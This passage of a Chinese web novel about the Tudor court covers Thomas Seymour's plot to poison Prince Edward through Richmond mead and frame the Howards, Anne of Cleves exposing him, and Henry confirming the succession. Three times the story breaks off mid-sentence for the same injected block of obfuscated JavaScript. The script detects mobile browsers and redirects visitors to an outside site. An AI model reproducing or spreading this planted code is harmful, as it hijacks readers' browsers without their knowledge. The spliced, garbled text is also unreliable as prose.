安妮迎着他的目光，没有半分闪躲，声音清晰而平稳：“有劳爵士挂心。新一批‘舒络蜜’正在窖藏，最迟明日午后，我会亲自安排可靠之人送往宫中。陛下所需，里士满不敢有丝毫怠慢。”她顿了顿，补充道，“另外，这里有一小罐窖藏多年的‘加冕蜜’原浆，烦请威廉先生转交爵士，算是我的一点心意，感谢爵士在陛下面前为里士满美言。” 她示意老约翰将那个不起眼的粗陶罐递给威廉。 威廉接过沉甸甸的陶罐，掂量了一下，眼中闪过一丝不易察觉的诧异和满意。安妮的应对滴水不漏，既表达了“恭顺”和“及时供药”，又巧妙地用这罐价值不菲的原浆传递了“善意”和“懂得分寸”。更重要的是，她强调了“亲自安排可靠之人”——暗示她对运输渠道的控制。 “夫人有心了。”威廉脸上的笑容真诚了几分，“我一定将夫人的心意和‘舒络蜜’的讯息带到。爵士定会欣慰于夫人的……识大体。” 他意有所指地看了一眼安妮身边的伊丽莎白，随即躬身告退。 看着威廉一行人的马车消失在城堡吊桥外，安妮一直紧绷的肩膀才微微松懈下来。这只是第一波试探。 “老师，”伊丽莎白的声音在身后响起，带着超越年龄的冷静，“他看我的眼神……像秃鹫在看猎物。” 安妮转身，将女孩揽入怀中，轻轻抚摸着她的金发。城堡塔楼的阴影笼罩着她们，窗外的天空，阴云密布，预示着更大的风暴。 “别怕，贝丝。”安妮的声音低沉而坚定，“只要我们还在里士满，只要陛下还需要我的药……他就不敢轻举妄动。” 但这句话，更像是在说服自己。托马斯·西摩那双充满野心和算计的蓝眼睛，如同悬在头顶的达摩克利斯之剑，让她寝食难安。 格林威治宫的权柄更迭看似尘埃落定，但涌向里士满的暗流，却更加汹涌致命。安妮知道，她和伊丽莎白的宁静日子，已经进入了倒计时。 45. 毒酒桶的烙印 托马斯·西摩坐在格林威治宫一间能俯瞰花园的华丽书房里，指尖无意识地敲击着光滑的桃花心木桌面。窗外阴云低垂，一如他此刻的心境。诺福克倒了，霍华德家族的核心成员像垃圾一样被清理进了伦敦塔最深的角落，凯瑟琳和那个野种也被秘密流放，永无翻身之日。表面上看，他赢了，赢得了靠近国王的位置，赢得了暂时的权势。 但还不够。 亨利那头老狮子虽然病痛缠身，昏聩多疑，但只要他喘着气一天，那顶王冠就沉重得让人无法真正触及。爱德华王子体弱多病，像个精致的瓷娃娃，偏偏还顽强地吊着一口气。玛丽被关在祈祷室里，如同失去利爪的困兽。而那个最碍眼的变数——伊丽莎白·都铎，还好好地待在里士满，被安妮·克里夫斯那个狡猾的女人庇护着！ 托马斯蓝色的眼眸深处翻涌着冰冷的暗流。安妮……她就像一个精明的商人，靠着那该死的“舒络蜜”和恰到好处的低调，在风暴边缘维持着微妙的平衡。她甚至用一罐“加冕蜜”原浆，暂时堵住了威廉的嘴，也堵住了他立刻发难的路。但托马斯深知，这种平衡脆弱得像蜘蛛网，一捅就破。 他需要一把更锋利的刀，一次足以彻底撕裂里士满屏障的雷霆打击。他的目光，落在了桌上一份关于爱德华王子近况的密报上。王子近日精神稍好，御医允许他少量饮用稀释的蜂蜜酒暖身……而王子所饮的蜂蜜酒，全部来自里士满的特供批次。 一个阴毒的计划，如同毒蛇般在他心中迅速成型。冰冷而致命。 “威廉。”托马斯的声音不高，却让侍立门边的威廉立刻绷直了身体。 “大人。” “诺福克虽然死了，但霍华德家族的阴魂还在。”托马斯端起桌上的银杯，轻轻晃动着里面深红色的酒液，眼神如同淬毒的冰棱，“他们对陛下、对王子殿下的恨意，足以让他们做出任何疯狂的事情。比如……在王子殿下的饮食中下毒。” 威廉瞳孔微缩，瞬间明白了主人的意图：“大人英明！这……这确实像是那些亡命之徒会干的！” 托马斯嘴角勾起一丝冷酷的弧度：“王子殿下最近饮用的里士满蜂蜜酒……是个不错的媒介。我记得，负责给王子特供酒桶打标记的，是酒坊里一个叫比尔的老桶匠？他儿子……是不是因为偷猎鹿，被诺福克庄园的守卫打断了一条腿，差点死在林子里？” “是的，大人！”威廉立刻回应，“老比尔对此一直怀恨在心！只是诺福克势大，他敢怒不敢言！” “很好。”托马斯放下酒杯，声音平淡无波，“让他‘敢怒敢言’一次。告诉他，只要他肯在给王子那批特供酒桶的某个内壁，用霍华德家族的火漆印……蘸上点‘特别的料’，事成之后，他不仅能拿到足够他儿子去法兰西治腿的金币，还能亲眼看到霍华德家剩下的、关在伦敦塔里的那些杂碎，统统给他儿子陪葬。” 他口中的“特别的料”，自然是他早已准备好的、无色无味、发作缓慢却足以致命的慢性毒药。 威廉眼中闪过一丝狠厉：“明白！属下这就去办！保证做得神不知鬼不觉！那烙印……看着就像霍华德余孽的报复！” “记住，”托马斯的声音陡然转冷，“事情要做得干净。老比尔……事后你知道该怎么做。还有，王子一旦出事，现场……必须留下点‘霍华德’的东西。一枚刻着诺福克家族徽记的戒指？或者一块带血的火漆碎片？你看着办。” 他轻描淡写地决定了老比尔和爱德华王子的命运，也决定了如何将污水精准地泼向霍华德残党和里士满。 “是！大人放心！”威廉躬身领命，像一道阴影般迅速退出了书房。 托马斯重新端起酒杯，走到窗边，看着格林威治宫阴沉的天空。风暴，将由他亲手掀起，而里士满那座看似坚固的城堡，将被彻底卷入漩涡中心，连同里面那个碍眼的女孩和那个自以为聪明的女人。 * * * 里士满酒坊里弥漫着蜂蜜、酒香和橡木桶特有的醇厚气息。老比尔佝偻着背，布满老茧的手正仔细地为一个崭新的橡木桶安装桶箍。他动作熟练，眼神却有些空洞。儿子那条扭曲萎缩的腿，还有诺福克家守卫那狰狞的笑脸，像毒蛇一样日夜啃噬着他的心。 “老比尔！”一个刻意压低的声音在堆积如山的酒桶阴影里响起。 老比尔浑身一僵，手中的工具差点掉落。他警惕地左右看了看，才慢慢挪向阴影。威廉那张带着假笑的脸露了出来。 “想好了吗？”威廉的声音如同毒蛇吐信，将托马斯许诺的金币和复仇的诱饵再次抛出，同时，也将那包用油纸仔细包裹的、散发着微不可察杏仁苦味的“特别的料”和一个带着诺福克家族雄鹰徽记的火漆印，塞进了老比尔颤抖的手里。“机会只有一次。是让你儿子永远当个瘸子，让仇人逍遥自在，还是……赌一把？” 老比尔枯瘦的手指死死攥着那包油纸和冰冷的火漆印，指节因用力而发白。他浑浊的老眼里，恐惧、犹豫、被压抑了太久的仇恨和一丝对金币的贪婪疯狂交织。儿子痛苦的脸和诺福克庄园守卫的狞笑最终压倒了理智。他喉咙里发出一声野兽般的低吼，猛地将东西塞进自己油腻的工作围裙深处，用力点了点头，眼神里只剩下破釜沉舟的疯狂。 威廉满意地笑了，像毒蛇收回了信子，悄无声息地消失在酒桶的阴影里。 * * * 格林威治宫，爱德华王子的寝殿。 连续几日的阴沉后，难得有一缕稀薄的阳光透过高窗，在冰冷的地板上投下几块光斑。爱德华王子靠在巨大的软枕上，小脸依旧苍白得近乎透明，但精神似乎比前几日好了些许。他手中捧着一个精致的银杯，里面盛着温热的、由里士满特供蜂蜜酒稀释而成的饮品，散发出清甜的香气。 “殿下，您的气色好多了。” 贴身侍从约翰·福斯特小心翼翼地将一个暖炉挪得更近些，脸上带着真诚的欣慰。他是看着王子长大的，忠心耿耿。 爱德华虚弱地笑了笑，小口啜饮着杯中的蜜酒。温热的液体滑过喉咙，带来一丝舒适的暖意。阳光洒在他淡金色的睫毛上，投下小小的阴影。他望着那缕光，灰蓝色的眼睛里难得有了一点属于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155935|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩童的微光。 然而，这短暂的宁静并未持续太久。 王子刚放下银杯，准备小憩片刻，毫无征兆地，他小小的身体猛地一阵剧烈抽搐！像被无形的重锤击中！ “噗——！” 一大口暗红色的、粘稠的鲜血，如同喷泉般从他口中狂喷而出！瞬间染红了洁白的寝衣、昂贵的丝绸被褥，也溅满了床前侍奉的约翰·福斯特惊骇欲绝的脸！ “殿下！！！” 福斯特发出一声撕心裂肺的惨叫，魂飞魄散地扑上去扶住王子软倒的身体。 爱德华小小的身体在福斯特怀中剧烈地痉挛、抽搐，灰蓝色的眼睛痛苦地翻白，更多的血沫混合着痛苦的呜咽从他嘴角涌出，将福斯特胸前的衣襟染得一片刺目的猩红！那景象，惨烈得如同被撕裂的幼兽！ “御医！快叫御医！！” 福斯特声嘶力竭地哭喊着，巨大的恐惧让他几乎崩溃。 整个寝殿瞬间陷入地狱般的混乱！侍女们尖叫着跑出去喊人。福斯特抱着不断呕血、抽搐的王子，如同抱着正在消逝的生命，巨大的悲痛和恐惧几乎将他吞噬。 就在这极致的混乱和惊恐中，一名“恰好”在殿外巡逻的瑞士卫兵，在“搜寻可疑痕迹”时，“意外”地在王子床榻下靠近酒柜的阴影角落里，发现了一枚沾着新鲜血迹、刻有诺福克家族雄鹰徽记的——金戒指！ “在这里！凶器！霍华德家的印记！” 卫兵举起那枚在烛光下闪着不祥光芒的戒指，高声呼喊，声音传遍了混乱的寝殿！ 几乎在同一时刻，在通往厨房的走廊上，几个“闻讯赶来”的内侍，“撞见”了一个神色慌张、企图从后门溜走的低阶杂役！那杂役身上，搜出了一块尚未使用完的、同样刻着诺福克家族火漆印的封蜡！以及一小包用油纸包裹的、散发着微苦杏仁味的可疑粉末！ “抓住他！是霍华德的余孽！是他下的毒！” 愤怒的吼声瞬间将那个面无人色的杂役淹没。 证据链在极短的时间内被“完美”地拼接起来：诺福克的戒指（复仇的象征）、霍华德的火漆印（作案的标记）、致命的毒药（杀人的工具）、惊慌逃窜的“余孽”（执行的凶手）！一切都指向了刚刚被铲除、却心怀刻骨仇恨的霍华德家族！ 当御医钱伯斯和闻讯赶来的托马斯·西摩冲进寝殿时，看到的就是这样一幅景象：爱德华王子奄奄一息，浑身浴血；约翰·福斯特抱着王子痛哭失声；卫兵高举着“罪证”戒指；内侍们扭送着“凶手”；空气中弥漫着浓烈的血腥味和绝望的哭喊…… 托马斯·西摩的脸上瞬间布满了“震惊”和“暴怒”！他蓝色的眼眸深处，却是一片冰冷的、掌控一切的寒潭。 “霍华德余孽！丧心病狂！” 托马斯的声音如同惊雷，带着不容置疑的权威和滔天的“怒火”，“竟敢谋害王子殿下！给我彻查！所有与此事有牵连的人，一个都不准放过！尤其是……” 他猛地转头，目光如同淬毒的利箭，穿透混乱的人群，狠狠刺向那个被搜出毒药和火漆印的杂役，以及……他供职的源头，“里士满酒坊！” 46. 毒蛇的反噬 格林威治宫，爱德华王子寝殿。 浓烈的血腥味、呕吐物的酸腐气和草药苦涩的气息混杂在一起，沉甸甸地压在每个人的心头。爱德华王子小小的身体陷在染血的被褥里，脸色青灰，每一次微弱的呼吸都如同破败风箱的呜咽。御医钱伯斯额头布满冷汗，用尽毕生所学施救，但王子的脉搏依旧细弱如游丝，生机正不可阻挡地流逝。 国王亨利八世巨大的身躯瘫在王子床边一张临时搬来的软榻上，痛风带来的剧痛似乎被更大的恐惧和暴怒暂时压制。他布满血丝的眼睛死死盯着儿子惨白的脸，又猛地扫过地上那枚被瑞士卫兵“搜出”的、沾着王子鲜血的诺福克家族戒指，以及被内侍扭送进来、身上搜出毒药和火漆印的杂役，最后，那噬人的目光如同重锤，狠狠砸在匆匆赶来的安妮和伊丽莎白身上！ “里士满！”亨利的声音嘶哑破碎，带着毁灭一切的气息，“你的酒！你的人！给朕一个解释！否则……”他没有说下去，但那眼神足以让任何人血液冻结。 托马斯·西摩如同护主的獒犬，一步上前，挡在亨利和安妮之间（更像是隔断了安妮申辩的路径）。他英俊的脸上写满了“沉痛”和“义愤”，蓝色的眼眸却锐利如刀，直刺安妮：“安妮夫人！陛下待里士满恩重如山！你竟纵容酒坊混入霍华德余孽，致使剧毒流入宫廷，谋害王子殿下！证据确凿，你还有何话说？！” 他指向地上瘫软的杂役，“此人已供认不讳！就是他用霍华德火漆，在供给王子的酒桶内做了手脚！” 他巧妙地偷换概念，将“霍华德余孽”与“里士满酒坊”死死绑在一起。 被按在地上的杂役抖如筛糠，语无伦次地哭喊：“是……是霍华德家的人逼我的！他们……他们给我金子……要我……要我在酒桶里下药……” 他的话如同火上浇油。 “陛下！”托马斯的声音陡然拔高，带着不容置疑的决断，“里士满酒坊管理松懈，竟成逆贼巢穴！臣请旨，立刻查封酒坊，缉拿所有管事！尤其是……”他冰冷的目光扫过安妮身后的老约翰和老汤姆，“……这两个主事之人！严刑拷问，必能揪出幕后黑手！以儆效尤！” “拿下！”亨利被巨大的悲痛和愤怒吞噬，根本无心分辨，枯瘦的手指颤抖着指向老约翰和老汤姆。 如狼似虎的瑞士卫兵立刻扑上！ “住手！” 一声清越却异常坚定的断喝，如同冰水浇入滚油，瞬间压住了混乱！ 安妮猛地踏前一步，将伊丽莎白牢牢护在身后，瘦削的脊背挺得笔直，直面亨利那噬人的目光和托马斯冰冷的蓝眼。她脸上没有丝毫恐惧，只有一种沉静到极致的、仿佛暴风眼中心的可怕冷静。 “陛下！”安妮的声音清晰而平稳，穿透寝殿的压抑，“毒害王子，罪不容诛！但真相未明，仅凭一枚不知何时遗落的戒指、一个被吓破胆的杂役的胡言乱语，以及……西摩爵士的推论，就要定里士满的罪，缉拿无辜之人，岂非让真凶逍遥法外，让王子殿下蒙受不白之冤？！” 她的话如同锐利的针，精准地刺破了托马斯精心编织的“证据链”，更将矛头隐隐指向了急于定罪的托马斯本人！ “你！”托马斯眼中寒光暴射，正要反驳。 安妮根本不给他开口的机会，她猛地转头，目光如炬，死死盯住那个瘫在地上的杂役：“你说霍华德家的人指使你？是谁？何时？何地？给了你什么信物？那毒药叫什么名字？如何下到王子殿下的酒桶里？王子殿下的特供酒，从酿造到送入宫中，需经酒坊三道验查、宫廷内侍两道核验！你一个小小的杂役，是如何在众目睽睽之下，将带有霍华德火漆印记的毒物放进内壁，还不被任何人发现？说！” 她一连串的问题如同疾风骤雨，又快又急，每一个问题都直指核心漏洞！那杂役被问得目瞪口呆，脸色由惨白转为死灰，嘴唇哆嗦着，眼神惊恐地乱瞟，根本答不上来！他本就是临时被威廉找来的替死鬼，哪里知道这么多细节？ 寝殿内瞬间死寂！所有人的目光都聚焦在那个哑口无言的杂役身上。亨利布满血丝的眼睛里，暴怒被一丝惊疑取代。托马斯·西摩的脸色，第一次变得极其难看，他藏在袖中的手猛然握紧。 “陛下明鉴！”安妮抓住这瞬间的静默，声音带着沉痛的恳切，“里士满酒坊供给宫廷多年，每一道工序，每一个经手之人，皆有详细记录在册，随时可供陛下核查！王子殿下所饮用的每一批次蜂蜜酒，在出坊前，皆由老约翰、老汤姆和我三人亲自封缄，封缄所用，皆是里士满特制的、带有胡椒狗徽记的火漆！绝非霍华德印记！此等关乎殿下安危的要事，岂敢有丝毫懈怠？若陛下允许，记录簿和剩余的同批次火漆，即刻便可呈上！” 她的话语逻辑严密，掷地有声。 “你……你强词夺理！”托马斯强行压下心中的慌乱，厉声道，“记录可以伪造！火漆可以替换！定是你们与霍华德余孽勾结……” “西摩爵士！”安妮猛地打断他，目光锐利如刀锋，第一次毫不退缩地迎上托马斯那双冰冷的蓝眸，“您为何如此急于将里士满定罪？为何对霍华德余孽如何突破重重关卡精准投毒的关键避而不谈？反而一再引导陛下将矛头指向里士满？难道……”她刻意停顿了一下，声音不高，却清晰地传入每个人的耳中，“……您知道些什么我们不知道的内情？或者说，您害怕某些真相被查出来？” “放肆！”托马斯勃然变色，英俊的面孔因愤怒和一丝被戳破隐秘的惊惶而扭曲，“你敢污蔑本爵士？！” “够了！”亨利发出一声如同受伤野兽般的咆哮，巨大的头痛让他眼前发黑。安妮的质问和老约翰刚才那声“证人已到宫门”的禀报，像两把重锤砸在他混乱的思绪里。他浑浊的目光在状若癫狂的托马斯和沉静如水的安妮之间来回扫视，最后落在奄奄一息的爱德华身上。巨大的痛苦和疑虑撕扯着他。 “传……传那个桶匠！”亨利的声音嘶哑而疲惫，带着最后一丝挣扎的清醒，“朕……要亲自问！” 寝殿大门再次被推开。这一次，进来的不是卫兵，而是被两个里士满护卫（安妮事先安排跟随老约翰入宫的精锐）严密保护着的老比尔！他佝偻着背，脸色惨白，浑身抖得如同秋风中的落叶，但那双浑浊的老眼里，却燃烧着破釜沉舟的绝望和仇恨！ “陛……陛下……”老比尔扑通一声跪倒在冰冷的地面上，声音抖得不成样子，“小……小人有罪！小人该死！是……是西摩爵士的侍从威廉……他逼我！他用我儿子的命逼我！他给了我毒药……还有诺福克公爵的火漆印……要我……要我在给王子殿下特供的酒桶内壁……烙上霍华德的火漆……再……再把毒药抹在烙印上……”他语无伦次，却将托马斯·西摩精心策划的阴谋撕开了一道血淋淋的口子！ “他胡说！”托马斯·西摩脸色剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155936|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变，厉声打断，眼中第一次露出了真实的、如同困兽般的惊惶！他猛地看向威廉。 威廉早已面无人色，下意识地后退一步。 “威廉！”亨利如同垂死挣扎的狮子，发出最后的、震耳欲聋的咆哮，“给朕滚出来！” 威廉浑身一颤，腿一软，直接跪倒在地，巨大的恐惧让他几乎失禁。“陛……陛下……小人……小人……” 在亨利那噬人的目光和老比尔怨毒的指证下，在托马斯·西摩瞬间变得无比阴沉的脸色带来的巨大压力下，威廉的心理防线彻底崩溃！ “是……是托马斯大人！是托马斯大人指使小人的！”威廉涕泪横流，手指颤抖地指向脸色铁青的托马斯，“大人说……要嫁祸给霍华德……要……要毁了里士满！那戒指……那毒药……都是大人给的！那杂役……也是小人找来的！大人还说……只要王子出事……陛下必定雷霆震怒……里士满和伊丽莎白公主……就……就……” “住口！你这该死的叛徒！”托马斯·西摩如同被踩了尾巴的毒蛇，瞬间暴怒！他英俊的面容彻底扭曲，蓝色的眼眸里燃烧着疯狂的杀意！他猛地拔出腰间的佩剑（作为前侍卫统领，他仍有佩剑入宫的资格），寒光一闪，竟不顾一切地朝着跪在地上的威廉狠狠劈去！他要灭口！ “护驾！”惊呼声四起！ 一直紧绷着神经的瑞士卫兵首领反应极快！在托马斯拔剑的瞬间，他已如猎豹般扑上，沉重的剑鞘带着千钧之力，精准地砸在托马斯持剑的手腕上！ “咔嚓！” 清脆的骨裂声伴随着托马斯的惨叫同时响起！ 镶满宝石的佩剑“当啷”一声脱手坠地。托马斯·西摩捂着自己扭曲变形的手腕，痛得蜷缩在地，英俊的脸因剧痛和绝望而扭曲狰狞，那双曾充满野心和算计的蓝眼睛，此刻只剩下疯狂的怨毒和彻底崩塌的灰败。 寝殿内一片死寂。只有爱德华王子微弱的呻吟和托马斯痛苦的喘息声。 亨利八世巨大的身躯僵在软榻上，布满血丝的眼睛死死盯着地上痛苦扭动的托马斯，又缓缓扫过瘫软如泥的威廉，最后，落在那枚沾着爱德华鲜血的、冰冷的诺福克戒指上。 真相，如同一盆混合着冰碴的污血，劈头盖脸地浇了他一身。被愚弄！被利用！被当成铲除异己、甚至可能危及他亲生儿子的工具！ 一股难以言喻的、混合着滔天暴怒、被背叛的耻辱和巨大恐惧的寒意，从亨利脚底瞬间窜遍全身！他枯瘦的手指死死抓住软榻扶手，指关节泛白，喉咙里发出“嗬嗬”的怪响，巨大的头痛伴随着一阵天旋地转的眩晕猛烈袭来！ “你……你们……”亨利的声音嘶哑变形，如同砂纸摩擦，充满了极致的暴戾和一种被彻底掏空的虚弱。他巨大的身躯晃了晃，眼前一黑，在侍卫和内侍惊恐的呼喊声中，向后重重栽倒在软榻上！这一次，是真正的、被怒火和阴谋彻底击垮的昏迷！ “父王！”伊丽莎白失声惊呼，想冲过去，却被安妮死死拉住。 安妮紧紧抱着伊丽莎白，目光扫过一片狼藉的寝殿：奄奄一息的王子，昏迷暴怒的国王，手腕断裂、如同丧家之犬般被卫兵粗暴拖走的托马斯·西摩，瘫软认罪的威廉，失魂落魄的老比尔，以及周围噤若寒蝉、眼神惊恐的贵族和内侍…… 一场由西摩家族亲手点燃、意图焚毁里士满的毒火，最终以最惨烈的方式，将他们自己彻底吞噬。 47. 尘埃落定与新的秩序 格林威治宫笼罩在一种劫后余生的死寂里。血腥味似乎被浓重的药味强行压下，但空气中弥漫的恐惧和紧绷感却挥之不去。亨利八世巨大的身躯深陷在龙床的层层软垫中，脸色蜡黄，呼吸沉重。连续的重创——爱子的垂危、被信任臣子（托马斯·西摩）的背叛——如同两柄重锤，彻底击垮了他本就衰朽的身体和精神。他大部分时间都在昏睡，偶尔睁眼，浑浊的眼底只有一片深不见底的疲惫和一种近乎偏执的警惕。 首席御医钱伯斯每日进出，眉头紧锁。陛下的痛风已到晚期，关节肿胀变形如同树瘤，剧痛无时无刻不在啃噬着他。更棘手的是那沉重的心疾，每一次暴怒都如同在脆弱的血管上割开一道口子。他像一头被困在陷阱里的老狮，痛苦地喘息着，爪牙犹在，却已力不从心。 寝宫深处，爱德华王子的情况同样凶险。那场可怕的毒害虽未立刻夺去他的生命，却彻底摧毁了他本就摇摇欲坠的健康根基。他瘦得只剩下一把骨头，终日昏沉，偶尔清醒，灰蓝色的眼睛望着天花板，空洞得让人心碎。御医用尽了方法，也只能勉强吊住他微弱的生命之火。整个宫廷都知道，这位王位继承人，恐怕时日无多了。 * * * 约克郡，荒原深处。 凛冽的寒风卷着雪粒，抽打着古老的修道院灰黑色的石墙。这里远离尘嚣，只有永恒的寂静和刻板的钟声。一间狭小、冰冷的石室，窗户开得很高，仅能透进一线惨淡的天光。 凯瑟琳·霍华德蜷缩在硬板床上唯一一条薄毯下，止不住地咳嗽，每一声都撕心裂肺。金发失去了所有光泽，枯草般贴在凹陷的脸颊上。曾经娇艳的脸庞此刻只剩下病态的灰败和深入骨髓的枯槁。她的怀抱是空的。那个深棕色头发、带给她短暂“护身符”又将她拖入更深绝望的孩子，一生下来就被嬷嬷抱走，养在修道院另一处偏僻的育婴室，由一个沉默寡言的农妇照料。嬷嬷们只告诉她孩子还活着，是个男孩，仅此而已。 “咳…咳咳……” 又是一阵剧烈的咳嗽，喉间涌上熟悉的腥甜。她用手帕捂住嘴，拿开时，上面赫然是一小片刺目的暗红。 没有眼泪。她的眼泪早已流干。巨大的恐惧、无边的孤寂、被家族彻底抛弃的绝望，还有对那个未曾谋面孩子的复杂情绪（是爱？是恨？还是解脱？），日复一日地啃噬着她残存的生命力。格林威治宫的繁华喧嚣，诺福克舅舅狰狞的野心，卡尔佩珀炽热的眼神……都成了遥远而模糊的噩梦。 她像一朵被强行从温室拔出、弃于冰天雪地的玫瑰，在无人知晓的角落，迅速地、无声地枯萎凋零。生命的烛火，在修道院永恒的寒冷和寂静中，微弱地摇曳着，随时可能熄灭。她的名字，连同她短暂而充满谎言与悲剧的一生，将被彻底抹去，埋葬在这片冰冷的石墙之内。金丝雀的牢笼，最终成了她的坟墓。 * * * 伦敦塔潮湿阴冷的地牢里，托马斯·西摩靠坐在冰冷的石壁上。曾经一丝不苟的金发凌乱不堪，沾满污垢。昂贵的丝绒外套被剥去，只剩下一件粗糙的囚服。最刺目的，是他那只被简单包扎固定、却依旧以不自然角度扭曲的右手手腕——那是他阴谋败露、疯狂灭口时留下的耻辱烙印。 钻心的疼痛日夜折磨着他，但更痛的是那彻底崩塌的野心和深入骨髓的耻辱！他像一头被拔光了利齿、折断了爪子的困兽，在狭窄的牢笼里焦躁地踱步，每一次动作都牵扯起腕骨碎裂的剧痛，让他发出压抑的、野兽般的低吼。 “放我出去！我是托马斯·西摩！陛下需要我！” 他有时会对着铁门外无尽的黑暗嘶吼，声音嘶哑破碎，带着最后的疯狂和不甘。但回应他的，只有走廊深处狱卒冷漠的呵斥和铁靴踏在石板上空洞的回响。 他寄希望于兄长爱德华。然而，爱德华·西摩自身难保。枢密院会议上，他曾经的盟友和下属们，如今眼神躲闪，避之唯恐不及。国王虽然没有立刻清算他（或许是暂时无力，或许是留着他制衡其他势力），但“包庇逆弟”、“御下不严”的罪名如同两座大山压在他头上，他被彻底边缘化，成了一个尴尬的、无人理会的摆设。西摩家族的政治生命，随着托马斯手腕的碎裂，一同宣告终结。 最终的处理决定，是在亨利一次短暂的清醒中，由内侍总管代为宣读的。没有审判，没有冗长的罪名罗列，只有冰冷无情的几个字： “托马斯·西摩，谋逆罪证确凿，本应处死。念其旧勋，褫夺一切爵位、官职、封地，逐出英格兰，终生不得返回。即日执行。” 永久流放。比死亡更缓慢的凌迟。 当沉重的铁链被解开，托马斯被粗暴地拖出牢房，塞进一辆没有任何标记的简陋马车时，他最后看了一眼伦敦塔那森严高耸的塔楼。没有愤怒的咆哮，只有一片死寂的灰败，笼罩了他英俊却彻底扭曲的面容。马车驶向港口，等待他的，是未知异国的贫瘠和永世不得归乡的绝望。野心家的蓝眼睛，永远失去了光彩。 * * * 国王寝宫内的气氛压抑得令人窒息。亨利在钱伯斯的搀扶下，极其艰难地坐起身。枯槁的手颤抖着，几乎握不住沉重的鹅毛笔。内侍总管和两位未被卷入风暴的老臣肃立床前，大气不敢出。 一份厚重的羊皮纸诏书摊开在御案上。亨利浑浊的目光扫过上面的字句，那是他口述，由内侍总管代笔，又经他反复确认（在清醒的间隙）的最终意志。 “……朕，亨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155937|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利八世，蒙上帝恩典，英格兰与法兰西国王，爱尔兰领主，信仰的捍卫者……鉴于朕之身体违和，为社稷安稳计，兹重申并确认王位继承之序：朕之长子爱德华王子殿下，为第一顺位继承人；若爱德华王子无嗣而终，则继位权归于朕之长女玛丽公主殿下；若玛丽公主无嗣而终，则继位权归于朕之次女伊丽莎白公主殿下……此序乃朕之最终意志，任何法令、契约、婚约、外戚势力，均不得凌驾、更改或废除此继承之序……” 他的目光在“外戚势力”几个字上停留了片刻，浑浊的眼底闪过一丝冰冷彻骨的寒意。诺福克、西摩……这些名字代表的贪婪、背叛和血淋淋的教训，让他对任何可能威胁都铎血脉的家族力量深恶痛绝。他要用这份诏书，像一道铁闸，死死锁住未来任何可能觊觎王座的外姓之手。 “用……印。”亨利的声音微弱嘶哑。 沉重的国王金印被内侍总管恭敬地捧起，蘸上鲜红的印泥，然后，带着千钧之力，稳稳地盖在了诏书的末尾。 “咚！” 一声闷响，如同历史的尘埃落定。它终结了霍华德和西摩两大家族的政治生命，也重新确立了玛丽和伊丽莎白在王朝继承序列中的合法地位——尽管她们的母亲早已化为尘土，尽管她们本人曾饱受冷落甚至囚禁。 * * * 里士满城堡的书房内，炉火噼啪作响，驱散着深秋的寒意。安妮将那份由国王内侍亲自送达的诏书副本轻轻放在桌上。胡椒狗安静地伏在她脚边。 伊丽莎白站在窗边，望着外面被夕阳染成金红的橡树林。她灰绿色的眼眸沉静如水，没有狂喜，也没有悲伤，只有一种超越年龄的了然和凝重。诏书恢复了她的继承权，却是在父王病危、兄长垂死的阴影下，更像是一份沉重而冰冷的责任。 “贝丝，”安妮的声音打破了宁静，“风暴暂时平息了。” 伊丽莎白转过身，走到桌边，纤细的手指拂过诏书上那鲜红的印鉴。“是的，老师。”她的声音很轻，“但新的风暴，总会来的。在爱德华之后……在玛丽之后……”她没有说下去，目光投向窗外渐渐沉入地平线的夕阳。 安妮走过去，轻轻揽住女孩单薄的肩膀。她们都知道，格林威治宫那头衰弱却依旧危险的金狮，伦敦塔里那些被囚禁的野心亡魂，还有远方未知的暗流，都预示着都铎王朝的未来，绝不会平静。她们所能做的，就是在里士满这座暂时的避风港里，积蓄力量，等待，并准备好迎接那无法逃避的惊涛骇浪。 炉火映照着她们的身影，在墙上投下长长的、交织在一起的影子，如同她们无法分割的命运。尘埃落定，但新的秩序之下，是更加汹涌的暗流和无法预知的未来。 48. 雪落无声与不婚之誓 约克郡的荒原被一场突如其来的暴风雪彻底吞没。狂风卷着鹅毛大雪，发出野兽般的嘶吼，疯狂抽打着修道院灰黑色的石墙，仿佛要将这座孤岛般的建筑彻底掩埋。修道院深处，那间狭小冰冷的石室里，寒意刺骨，唯一一盏挂在墙上的牛油灯芯摇曳着微弱的光芒，随时可能熄灭。 